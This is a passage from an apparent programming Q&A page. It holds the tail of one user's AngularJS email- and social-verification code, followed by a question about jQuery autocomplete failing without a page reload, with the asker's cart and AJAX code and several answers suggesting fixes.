styles: [{"featureType":"landscape","stylers":[{"saturation":-100},{"lightness":65},{"visibility":"on"}]},{"featureType":"poi","stylers":[{"saturation":-100},{"lightness":51},{"visibility":"simplified"}]},{"featureType":"road.highway","stylers":[{"saturation":-100},{"visibility":"simplified"}]},{"featureType":"road.arterial","stylers":[{"saturation":-100},{"lightness":30},{"visibility":"on"}]},{"featureType":"road.local","stylers":[{"saturation":-100},{"lightness":40},{"visibility":"on"}]},{"featureType":"transit","stylers":[{"saturation":-100},{"visibility":"simplified"}]},{"featureType":"administrative.province","stylers":[{"visibility":"off"}]},{"featureType":"water","elementType":"labels","stylers":[{"visibility":"on"},{"lightness":-25},{"saturation":-100}]},{"featureType":"water","elementType":"geometry","stylers":[{"hue":"#ffff00"},{"lightness":-25},{"saturation":-97}]}],
mapTypeId: google.maps.MapTypeId.ROADMAP
};
$scope.mapMarker = new google.maps.Marker({
map: $scope.myMap,
position: $scope.mapOptions.center
});
for(var key in $scope.profileData) {
//console.log(key+" "+$scope.profileData[key]);
}
//verifying the email address of the loaded profile
var emailUrl = $location.protocol() + '://'+ $location.host() + '/contact/verify/' + id;
$http.post(emailUrl)
.then(function (result) {
var singleVerificationKey = result.data.verification_key;
var emailStatus = result.data.status;
var singleEmailResult = result.data.result;
console.log("single email call: "+JSON.stringify(result)+" "+emailStatus);
if($scope.storedContactId == result.data.contactid){
if(emailStatus == "0"){ //when something goes wrong while verifying the email
$("#qualityScoreEmail").html("<i class='fa fa-question' style='font-size:15px' popover-placement='right' popover-trigger='mouseenter' popover='The email for this contact is UNKNOWN.'></i> Email");
}else if(emailStatus == "2"){ //when the email is verified in last 24 hours
if((singleEmailResult == 'pass')){ //success
$("#qualityScoreEmail").html("<i class='fa fa-check' style='font-size:15px' popover-placement='right' popover-trigger='mouseenter' popover='The email for this contact IS up to date.'></i> Email");
}else if((singleEmailResult == 'fail')){ //failed
$("#qualityScoreEmail").html("<i class='fa fa-remove' style='font-size:15px' popover-placement='right' popover-trigger='mouseenter' popover='The email for this contact is NOT up to date.'></i> Email");
}else if((singleEmailResult == 'unknown')){ // unknown
$("#qualityScoreEmail").html("<i class='fa fa-question' style='font-size:15px' popover-placement='right' popover-trigger='mouseenter' popover='The email for this contact is UNKNOWN.'></i> Email");
}
}else if(emailStatus == "1"){
console.log("single email key: "+singleVerificationKey);
//instantiate a Pusher object with our Credential's key
var pusher = new Pusher('2703a05dc7f552e2a2d5', {
encrypted: true
});
//Subscribe to the channel we specified in our Laravel Event
var channel = pusher.subscribe(singleVerificationKey);
//Bind a function to a Event (the full Laravel class)
channel.bind('EmailSingleVerification', $scope.singleEmailVerification);
}
}else{
console.log("single email creation information from previous request");
}
});
// //verifying the social information of the loaded profile
var liUrl = $scope.baseUrl + '/socialVerifyBatch';
var contactIdArr = [id];
var postData = {'id': contactIdArr, 'background': false};
$http.post(liUrl, postData)
.then(function (result) {
setTimeout(function () {
console.log("Timeout: start");
$scope.liTimeoutFlag = true;
if(($scope.storedContactId == result.data.contactid) && (!$scope.liResponseFlag)){
console.log("Timeout: making unknown");
$("#qualityScoreSocial").html("<i class='fa fa-question' style='font-size:15px' popover-placement='right' popover-trigger='mouseenter' popover='The social record for this contact is UNKNOWN'></i> Social");
$scope.animateScore($scope.profileData.Quality_Score, $scope.profileData.Quality_Score-1, 1000);
console.log("here 1");
var url = $scope.baseUrl + '/contact/verifySocial/' + $scope.storedContactId + "/6";
$http.post(url)
.then(function (result) {
console.log("Timeout: Update quality score: "+JSON.stringify(result));
}
);
}
}, 20000);
console.log("single li: "+JSON.stringify(result)+" "+$scope.storedContactId+" "+result.data.contactid);
if($scope.storedContactId == result.data.contactid){
//if the social information was verified in last 24 hours
if(result.data.status == "exist"){
if(result.data.passed == 1){ //success
$("#qualityScoreSocial").html("<i class='fa fa-check' style='font-size:15px' popover-placement='right' popover-trigger='mouseenter' popover='The social record for this contact IS up to date.'></i> Social");
}else if(result.data.failed == 1){ //failed
$("#qualityScoreSocial").html("<i class='fa fa-remove' style='font-size:15px' popover-placement='right' popover-trigger='mouseenter' popover='The social record for this contact is NOT up to date.'></i> Social");
}else if(result.data.unknown == 1){ // unknown
$("#qualityScoreSocial").html("<i class='fa fa-question' style='font-size:15px' popover-placement='right' popover-trigger='mouseenter' popover='The social record for this contact is UNKNOWN'></i> Social");
}
}else if(result.data.status == "done"){
var uniqueString = result.data.download_key;
console.log("karthik key: "+uniqueString);
//instantiate a Pusher object with our Credential's key
var pusher = new Pusher('2703a05dc7f552e2a2d5', {
encrypted: true
});
//Subscribe to the channel we specified in our Laravel Event
var channel = pusher.subscribe(uniqueString);
//Bind a function to a Event (the full Laravel class)
channel.bind('SocialBulkVerification', $scope.singleSocialVerification);
console.log("end karthik key");
}
}else{
console.log("single social creation information from previous request");
}
});
}
}
});
} else {
}
}
Any help is appreciated. Thanks in advance.

jquery doesn't get loaded, if i don't reload page

This code works only if I reload/refresh page, otherwise it doesn't work, I susspect issue is, because I use Jquery + normal javascript.
I have form and there is input which uses autocomplete, but while you go trough form next, it doesn't work.
The point is that input with #SchoolName isn't on first page is on 2nd page (after showcart(); function is trigered)...
Anyone have any ideas why my jquery code doesn't load properly?
I have this code:
<script type="text/javascript" language="javascript">
function autocomplete() {
$("#SchoolName").autocomplete("ajaxFuncs.php", {
cacheLength:1,
mustMatch:1,
extraParams: {getSchoolName:1}
});
};
$(document).ready(function(){
setTimeout("autocomplete()", 500);
});
function showVal(str) {
if (str == "") {
document.getElementById("txtHint").innerHTML = "* Please type in School Name.";
return;
}
if (window.XMLHttpRequest) {// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp = new XMLHttpRequest();
} else {// code for IE6, IE5
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4) {
if (xmlhttp.status == 200) { // break this into 2 statements so you can handle HTTP errors
document.getElementById("txtHint").innerHTML = xmlhttp.responseText;
} else {
document.getElementById("txtHint").innerHTML = "AJAX Error (HTTP "+xmlhttp.status+")";
}
}
}; // functions declared in this way should be followed by a semi colon, since the function declaration is actually a statement.
// encodeURIComponent() does all the escaping work for you - it is roughly analogous to PHP's urlencode()
// xmlhttp.open("GET","ajaxFuncs2.php?q="+encodeURIComponent(str),true);
xmlhttp.open("GET","ajaxFuncs2.php?q="+encodeURIComponent(str),true);
xmlhttp.send();
}
</script>
<script>
function ajax(doc)
{
doc = null;
if (window.XMLHttpRequest) {
try {
doc = new XMLHttpRequest();
}
catch(e) {
if(SBDebug)
alert("Ajax interface creation failure 1");
}
}
else if (window.ActiveXObject) {
try {
doc = new ActiveXObject("Msxml2.XMLHTTP");
}
catch(e) {
try {
doc = new ActiveXObject("Microsoft.XMLHTTP");
}
catch(e) {
if(SBDebug)
alert("Ajax interface creation failure 2");
}
}
}
return doc;
}
function postIt(params) {
var doc;
// alert("postIt: " + params);
if(params == "")
params = "nada=0";
doc = ajax(doc);
if (doc) {
var url = window.location.href;
url = url.substr(0, url.lastIndexOf("/") + 1) + "clientCartPost.php";
// alert(url);
doc.open("POST", url, false);
//Send the proper header information along with the request
doc.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
doc.setRequestHeader("Content-length", params.length);
doc.setRequestHeader("Connection", "close");
document.body.style.cursor = "wait";
doc.send(params);
document.body.style.cursor = "default";
if(doc.responseText == "timeout") {
alert("Timed out");
document.location = "index.php";
}
return doc.responseText;
}
return "Connection Failed";
}
function saveCC() {
var doc;
doc = ajax(doc);
if(params == "")
params = "nada=0";
if (doc) {
var params = "";
var eVisi = document.getElementById("visiCard");
var eCard = document.getElementById("x_card_num");
if(eVisi.value.indexOf("*") < 0)
eCard.value = eVisi.value;
for(i=0; i<document.CC.elements.length; i++) {
if(document.CC.elements[i].name == "visiCard")
continue;
params += getElemValue(document.CC.elements[i]) + "&";
}
doc.open("POST", "https://dot.precisehire.com/clientCartStoreCard.php", false);
//Send the proper header information along with the request
doc.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
doc.setRequestHeader("Content-length", params.length);
doc.setRequestHeader("Connection", "close");
document.body.style.cursor = "wait";
doc.send(params);
document.body.style.cursor = "default";
// alert(doc.responseText);
return true;
}
return false;
}
function getElemValue(item)
{
// alert("Getting: " + itemBase + itemID);
// alert(itemBase + "" + itemID);
if(item.type == "radio" || item.type == "checkbox")
{
if(!item.checked)
return "";
}
if(item.type == "select-one")
{
value = item.options[item.selectedIndex].value;
}
else
value = item.value;
return item.name + "=" + escape(value) + "&";
}
function makePie()
{
var contents = postIt("command=getProgress");
document.getElementById("step2").className = "bx2";
document.getElementById("step3").className = "bx2";
document.getElementById("step4").className = "bx2";
if(contents > 0)
document.getElementById("step2").className = "bx1";
if(contents > 1)
document.getElementById("step3").className = "bx1";
if(contents > 2)
document.getElementById("step4").className = "bx1";
}
var gbColor;
function RedIn(start)
{
var id;
if(start)
gbColor = 0;
gbColor += 32;
if(gbColor > 255)
gbColor = 255;
id = 0;
var obj = document.getElementById("red" + id);
while(obj != undefined)
{
obj.style.backgroundColor = 'rgb(255,' + gbColor + ',' + gbColor + ')';
id++;
obj = document.getElementById("red" + id);
}
if(gbColor < 255 && id > 0)
setTimeout("RedIn(0)", 100);
}
function showCart(next)
{
var ca = document.getElementById("cartArea");
var params = "";
for(i=0; i<document.clientCart.elements.length; i++)
{
param = getElemValue(document.clientCart.elements[i]);
if(param != "")
params += param + "&";
}
if(next)
params += "Next=1";
// alert(params);
ca.innerHTML = postIt(params);
makePie();
// RedIn(1);
}
function tabIfComplete(formField, maxSize, nextField, e)
{
if(window.event) // IE
{
keynum = e.keyCode;
}
else if(e.which) // Netscape/Firefox/Opera
{
keynum = e.which;
}
if(keynum < 48)
return;
if(formField.value.length >= maxSize)
{
var nf = document.getElementById(nextField);
if(nf)
nf.focus();
}
}
function sendCommand(command)
{
var ca = document.getElementById("cartArea");
var params = "command=" + command;
var submitOrder = command.indexOf('submitOrder') >= 0;
// alert(command);
if(submitOrder)
{
if(document.getElementById("RESULT").checked)
{
params += "&postSettlement=result";
/*
n = postIt(params);
alert(nOID);
if(nOID > 0)
document.location="orderreview.php?id=" + nOID;
return;
*/
}
else if(document.getElementById("REPORT").checked)
{
params += "&postSettlement=report";
}
else if(document.getElementById("DUPEORDER").checked)
{
params += "&postSettlement=dupeorder";
}
postIt(params);
document.location="cart.php";
return;
}
else if(command.indexOf('priorSearches') >= 0)
{
document.location="orderreview.php?ssnlist=1";
}
else if(command.indexOf('addState') >= 0)
{
for(i=0; i<document.clientCart.elements.length; i++)
{
if(document.clientCart.elements[i].name != "Next")
params += "&" + getElemValue(document.clientCart.elements[i]);
}
}
ca.innerHTML = postIt(params);
makePie();
}
function doReset()
{
var ca = document.getElementById("cartArea");
ca.innerHTML = "";
ca.innerHTML = postIt("reset=1");
makePie();
}
function dupeOrder()
{
var ca = document.getElementById("cartArea");
ca.innerHTML = "";
ca.innerHTML = postIt("dupeOrder=1");
makePie();
}
function resetCart()
{
if(confirm("Empty current cart and start over? Are you Sure?"))
doReset();
}
function saveCart()
{
var ca = document.getElementById("cartArea");
var params = "";
for(i=0; i<document.clientCart.elements.length; i++)
{
params += getElemValue(document.clientCart.elements[i]) + "&";
}
params += "saveExit=1";
ca.innerHTML = postIt(params);
makePie();
RedIn(1);
}
function deleteOrderItem(command)
{
if(!confirm("Delete this search? Are you Sure?"))
return;
var ca = document.getElementById("cartArea");
var params = "command=" + command;
ca.innerHTML = postIt(params);
makePie();
}
// alert("Reloaded");
setTimeout("showCart();", 100);
</script>
Try to move the last line:
setTimeout("showCart();", 100);
...into the $.ready-function:
$(document).ready(function(){
setTimeout("autocomplete()", 500);
});
Otherwise it may happen that showCart() gets called before the elements you access in showCart() are known.
First: Combining jQuery + regular javascript is not a problem -- jquery is made of regular javascript.
Secondly, when you're passing a method into your callback param anything, you can usually just write the name of the method:
$(document).ready(function(){
setTimeout(autocomplete, 500);
});
Third, the issue of using XMLHttpRequest while also using jquery. Jquery has a version of the XHR that is even more cross browser compliant than that is, you should use it:
$.ajax()
Finally, please add an include to the actual jquery file at the beginning of your code..
<script type="text/javascript" src="jquery.js"></script>
Sorry to say, while formatting your code its really pain to do.
I have seen some of issue right now:-
function autocomplete() { first this function has improver closing }; with semi-colon
Below is the repeatitive code:-
//Send the proper header information along with the request
doc.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
doc.setRequestHeader("Content-length", params.length);
doc.setRequestHeader("Connection", "close");
document.body.style.cursor = "wait";
doc.send(params);
document.body.style.cursor = "default";</li>
This you can make into a single function call by passing proper parameters.
3.If you are using JQuery then XMLHttpRequest is not required
4.Yet to update...
Open up a javascript console (Ctrl-Shift-J) in Firefox/Chrome and look in the menu bar for other browsers and see what errors show up

Categories

Resources